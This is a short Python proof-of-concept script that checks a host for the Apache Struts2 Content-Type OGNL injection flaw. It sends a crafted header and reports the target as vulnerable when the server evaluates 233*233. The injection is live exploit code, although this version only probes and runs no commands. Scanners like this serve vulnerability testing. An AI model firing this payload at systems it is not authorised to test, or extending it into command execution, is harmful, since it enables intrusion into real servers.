#!/usr/bin/python
#-*- coding:utf-8 -*-

import requests
import sys
import argparse
from json_parse import Jsonparse


class strus2(object):
    def __init__ (self,ip,port,level):
        self.ip = ip
        self.port = port
        self.level = level
    def run(self):
        if self.port == "443":
            url = "https://"+self.ip
        else:
            url = "http://"+self.ip+":"+self.port
        headers_payload = {
            "Content-Type":'${#context["com.opensymphony.xwork2.dispatcher.HttpServletResponse"].addHeader("testpoc",233*233)}.multipart/form-data'
            }
        try:
            r = requests.get(url, headers=headers_payload, timeout=self.level, verify=False)
            testpoc = r.headers['testpoc']
            if testpoc == '54289':
                print(r.url)
                print ("[+] Target "+url+" Find Vuln!!!\n")
                exit(233)
            else:
                print ("[-] Target "+url+" Not Vuln!!! Good Luck\n")
                exit(1)
        except Exception as e:
            print(e)
            exit(-1)



if __name__ == '__main__':
    print("[*] start checking")
    jsonfile = sys.argv[1] + '\\poc\\lib\\config.json'
    jsonobj = Jsonparse(jsonfile)
    jsondata = jsonobj.parse()
    targetip = sys.argv[2]
    timeout = jsondata['timeout3']
    port = sys.argv[3]
    Scanner = strus2(targetip, port, timeout)
    Scanner.run()